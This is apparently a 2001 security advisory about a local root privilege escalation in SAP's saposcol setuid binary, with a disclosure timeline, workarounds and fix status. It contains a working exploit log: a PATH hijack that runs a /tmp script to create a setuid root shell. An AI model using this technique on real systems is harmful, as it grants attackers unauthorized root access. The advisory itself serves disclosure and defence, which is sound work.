| Topic: | SAP R/3 Web Application Server Demo for Linux: root exploit |
| Module: | /usr/sap/WAS/SYS/exe/run/saposcol |
| Announced: | 2001-04-29 |
| Affects: | WAS demo as released on CeBit 2001 |
| Vendor: | SAP AG, Walldorf, Germany |
| Vendor-Status: | informed 2001-04-09 |
| acknoledged 2001-04-10 | |
| workaround specified 2001-04-17 | |
| estimated fix for 2001-04-27: 2001-04-18 | |
| fix available: 2001-04-27 |
The Web Application Server demo for Linux contains the program saposcol that is setuid root. Due to improper usage of popen(3) it may be possible for local users to gain unauthorized root access.
Below is a complete log of a successful root exploit.
user@jupiter:~$ cat /tmp/expand
#!/bin/sh
cp /usr/bin/ksh /tmp/.sh
chmod 4755 /tmp/.sh
echo "done" > /tmp/blubber
user@jupiter:~$ ls -l /tmp/.sh /tmp/blubber
ls: /tmp/.sh: No such file or directory
ls: /tmp/blubber: No such file or directory
user@jupiter:~$ export PATH=/tmp:$PATH
user@jupiter:~$ /usr/sap/WAS/SYS/exe/run/saposcol
Starting collector (create new process)
user@jupiter:~$ ls -l /tmp/.sh /tmp/blubber
-rwsr-xr-x 1 root sapdb 162448 Apr 9 21:00
/tmp/.sh
-rw-r--r-- 1 root sapdb
5 Apr 9 21:00 /tmp/blubber
Lokal users may gain unauthorized root access. The path /usr/sap/WAS/SYS/exe/run is not protected with file permissions as well as saposcol itself (this is also documented in SAP's security documentation).
Since the Web Application Server Demo may be installed on systems with local users that may even allow dial up access, it is a real problem.
Workaround is to remove the setuid-bit from saposcol as shown below:
root# chmod u-s /usr/sap/WAS/SYS/exe/run/saposcol
This may affect some functions of the Web Application Server.
If you trust your wasadm user as well as all SAP R/3 users on your system, you may only want to restrict saposcol to the group sapdb and leave the setuid-bit intact.
root# chgrp sapdb /usr/sap/WAS/SYS/exe/run/saposcol
root# chmod o-rx /usr/sap/WAS/SYS/exe/run/saposcol
The version 1.5 of the saposcol program fixes this vulnerability. It is available from:
2001-04-09: SAP has been informed including the exploit.
2001-04-10: SAP has acknowledged the problem and promised a fix in
the next version of the saposcol program.
2001-04-17: SAP said: chmod u-s as a workaround.
2001-04-27: Fix available
Shouldn't it be a well known fact that popen(3) is very insecure for setuid programs? Since it calls /bin/sh to start the program a lot of clever tricks with environment variables are possible. SAP might be well advised to read the Secure Programming HOWTO.
SAP has fixed that vulnerability. But I consider saposcol still much to big to give me confidence in its security:
jupiter:(vc/3):~/tmp% ls -l saposcol* -rw-rw-r-- 1 jochen jochen 930298 Apr 27 18:07 saposcol_dbg -rw-rw-r-- 1 jochen jochen 866386 Apr 27 18:07 saposcol_opt
SAP has agreed to install saposcol with less open permissions, so that only members of the group sapsys may access the program (which may still leave holes open for SAP users that may run OS commands from SAP R/3). Last time I checked, all OSS notes have been fixed, but first level support still gives chmod 4755 instead of chmod 4750 as advice.
The info file released with saposcol reads:
13 2001/04/27 (OSS:Linux)Security checks enabled, note 385062
But OSS note 385062 (»Scrollen im table control bewirkt Scrollen des Dynpros«) is completely unrelated to any security issues. I think that should be fixed, because only full disclosure helps people understanding and learning.
SAP has never issued a public acknowledge, and has no prominent website available to check for security issues and fixes. No, the SAP security guide is not sufficient.
Beside that, feedback from SAP has been timely and useful.
This vulnerability is a CVE candidate: Common Vulnerabilities and Exposures (CAN-2001-0366)
The following sites have published local copies of this advisory:
Linux Weekly News (security overview) and detail.
Net-Security [Bugtraq-Extract]
Common Vulnerabilities and Exposures (CAN-2001-0366)
XF:linux-sap-execute-code(6487)